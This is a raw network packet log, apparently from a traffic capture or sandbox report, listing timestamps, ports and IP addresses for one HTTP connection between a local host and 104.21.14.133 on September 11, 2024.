Sep 11, 2024 18:23:48.522969961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.522974968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.523102045 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.523102045 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.523122072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.523127079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.523304939 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.523767948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.523775101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.523778915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.523782969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.523788929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.523792028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.523797035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.523802042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.523804903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.523808956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.523827076 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.523978949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.523984909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.523988008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.523998022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524003029 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.524003029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524005890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524010897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524015903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524019957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524024963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524034977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524038076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524041891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524045944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524126053 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.524126053 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.524126053 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.524907112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524913073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524915934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524924994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524930954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524935007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524939060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524944067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524947882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524951935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524960995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524966955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524971008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524974108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.524979115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.525028944 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.525029898 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.525029898 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.525029898 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.532957077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.532962084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.532965899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533085108 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.533118010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533122063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533126116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533133984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533138037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533142090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533293009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533297062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533301115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533304930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533308029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533312082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533327103 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.533341885 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.533389091 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.533776045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533780098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533783913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533795118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533936024 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.533936024 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.533938885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533945084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533948898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533952951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533957958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.533993959 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.533993959 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.534111977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534117937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534121037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534130096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534135103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534137964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534142017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534291029 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.534291029 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.534457922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534461975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534466028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534476995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534480095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534483910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534488916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534492016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534497023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534502029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534511089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534514904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534519911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534523010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534596920 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.534596920 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.534596920 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.534936905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534940958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.534944057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535010099 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.535057068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535063028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535065889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535069942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535073996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535077095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535082102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535088062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535090923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535094976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535099983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535103083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535106897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535111904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535116911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535131931 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.535131931 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.535187960 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.535187960 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.535192013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535197973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535200119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535208941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535213947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535218000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535221100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535275936 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.535284996 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.535974026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535979033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535983086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535990953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535995960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.535999060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536001921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536073923 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.536073923 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.536120892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536127090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536129951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536134958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536139011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536143064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536145926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536153078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536155939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536165953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536170959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536173105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536176920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536181927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536186934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536190987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536199093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.536206961 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.536206961 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.536218882 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.536284924 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.537161112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537167072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537169933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537173986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537179947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537183046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537187099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537192106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537194967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537199020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537204027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537206888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537210941 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.537211895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537221909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537225962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537230015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537235022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537239075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537242889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537251949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537256956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537262917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537266970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537273884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537277937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.537286997 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.537286997 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.537286997 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.537345886 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.538078070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.538084030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.538088083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.538096905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.538101912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.538105965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.538197994 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.540281057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.540286064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.540421963 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.609105110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609112978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609117031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609127998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609132051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609134912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609139919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609143972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609148026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609340906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609344006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609348059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609353065 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.609353065 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.609359980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609364033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609366894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609371901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609376907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609380960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609385967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609389067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609392881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609399080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609404087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609406948 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.609447956 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.609447956 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.609813929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609817982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609822035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609832048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609960079 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.609963894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609967947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609977007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609982014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609985113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609987974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609992027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609994888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.609998941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.610003948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.610008001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.610017061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.610023022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.610027075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.610030890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.610037088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.610043049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.610050917 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.610050917 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.610050917 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.610091925 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.677578926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677582979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677603960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677608967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677649021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677653074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677656889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677658081 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.677658081 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.677661896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677664995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677669048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677695036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677697897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677697897 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.677701950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677748919 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.677748919 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.677771091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677774906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677778006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677787066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677792072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677794933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677798986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677803993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677808046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677813053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677823067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677825928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677906990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677911043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677915096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677923918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677927017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.677969933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.677969933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.677969933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.677969933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.678004026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.678008080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.678011894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.678016901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.678020000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.678023100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.678034067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.678036928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.678040981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.678046942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.678050041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.678054094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.678060055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.678064108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.678103924 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.678103924 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.678103924 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.679316998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679327965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679337025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679339886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679342985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679347992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679351091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679419041 CEST	49710	80	192.168.2.5	104.21.14.133
